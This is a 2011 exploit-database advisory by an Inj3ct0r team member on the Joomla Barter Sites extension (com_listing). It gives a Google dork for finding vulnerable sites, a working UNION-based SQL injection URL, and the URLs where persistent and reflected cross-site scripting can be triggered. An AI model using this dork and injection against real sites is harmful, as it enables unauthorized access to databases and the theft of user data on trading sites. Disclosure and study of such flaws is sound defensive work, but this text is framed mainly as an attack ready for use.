Joomla Barter Site Cross Site Scripting / SQL Injection

`#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
#0 _ __ __ __ 1  
#1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
#0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
#1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
#0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
#1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
#0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
#1 \ \____/ >> Exploit database separated by exploit 0  
#0 \/___/ type (local, remote, DoS, etc.) 1  
#1 1  
#0 [+] Site : 1337day.com 0  
#1 [+] Support e-mail : submit[at]1337day.com 1  
#0 0  
#1 ############################################# 1  
#0 I'm Sid3^effects member from Inj3ct0r Team 1  
#1 ############################################# 0  
#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
Application:Joomla Barter Site (com_listing) Multiple Vulnerabilites   
Date:08/10/2011  
Vendor URL:http://www.barter-sites.com/  
Google Dork:intext:Copyright © 2011 barter-sites.com.  
Author:Sid3^effects aKa HaRi  
Contact:[email protected]  
#Big hugs : Th3 RDX,Sugar  
#special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,SeeMe,MaYur,MA1201,Sonic,r3dsm0k3,cr1m1n4l  
###############################################################################################################  
Desc:  
The Barter Sites extension is for operating a trade group.  
  
Members post listings in the barter directory on your site, send each other offers and messages, negotiate, and 'pay' with either direct trade or with your own private digital currency called trade credits. You can even issue lines of credit.  
  
Admin has the option to earn commissions on trade credit transfers and can run transactions for the members, serving as a barter broker.  
###############################################################################################################  
Vulnerability:SQli Vulnerability:  
The Barter Sites extension(com_listing) suffers from sql injection.  
  
http://www.target.com/trade/index.php?option=com_listing&task=browse&category_id=-1+union+select+1,2,3,4--  
  
###############################################################################################################  
  
Vulnerability:  
  
>Persistent Cross-site Scripting.  
  
Attackers can post crafted messages in the "post listing" and can be used to infect or steal information.  
  
Demo URL   
http://www.target.com/index.php?option=com_listing&task=post&listing_id=18  
  
>Reflected Cross-site scripting:   
  
http://www.target.com/index.php?option=com_listing&task=createoffer  
  
###############################################################################################################  
  
  
`